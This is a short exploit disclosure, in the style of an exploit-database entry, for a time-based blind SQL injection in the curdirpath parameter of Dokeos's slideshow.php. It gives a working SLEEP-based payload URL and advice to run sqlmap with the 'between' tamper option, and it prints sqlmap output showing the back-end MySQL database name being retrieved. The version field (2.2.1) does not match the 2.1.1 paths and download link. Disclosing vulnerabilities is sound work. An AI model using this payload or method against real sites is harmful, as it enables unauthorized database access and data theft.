# Exploit Title: Dokeos Blind SQL Injection # Date: 2016-06-14 # Exploit Author: Mormoroth # Exploit Author Blog: http://ha.cker.ir # Vendor Homepage: http://www.dokeos.com/ # Software Link: http://jaist.dl.sourceforge.net/project/dokeos/dokeos-2.1.1.zip # Version: 2.2.1 # Tested on: Ubuntu # Twitter : https://twitter.com/Mormoroth ------ Note : hackme.com is localdomain on lab , not a live website ------ VULNERABILITY curdirpath in slidshow.php is vulnerable to time-based blind sqlinjection ------ POC : Payload: http://hackme.com:80/dokeos-2.1.1/main/document/slideshow.php?cidReq=123&curdirpath=' AND (SELECT * FROM (SELECT(SLEEP(5)))Pfag) AND 'NFwV'='NFwV&slide_id=all ------ Exploiting vulnerability with Sqlmap Note : to exploit with sqlmap you should use --tamper=between option to retrieve data ------ Parameter: #1* (URI) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: http://hackme.com:80/dokeos-2.1.1/main/document/slideshow.php?cidReq=123&curdirpath=' AND (SELECT * FROM (SELECT(SLEEP(5)))Pfag) AND 'NFwV'='NFwV&slide_id=all ------ [22:25:09] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7 back-end DBMS: MySQL 5.0.12 [22:25:09] [INFO] fetching current database [22:25:09] [INFO] resumed: dokeos_main current database: 'dokeos_main' [22:25:09] [INFO] fetched data logged to text files under 'C:\Users\Mort\.sqlmap\output\hackme.com' C:\Users\Mort\Desktop\Apps\sqlmap> ------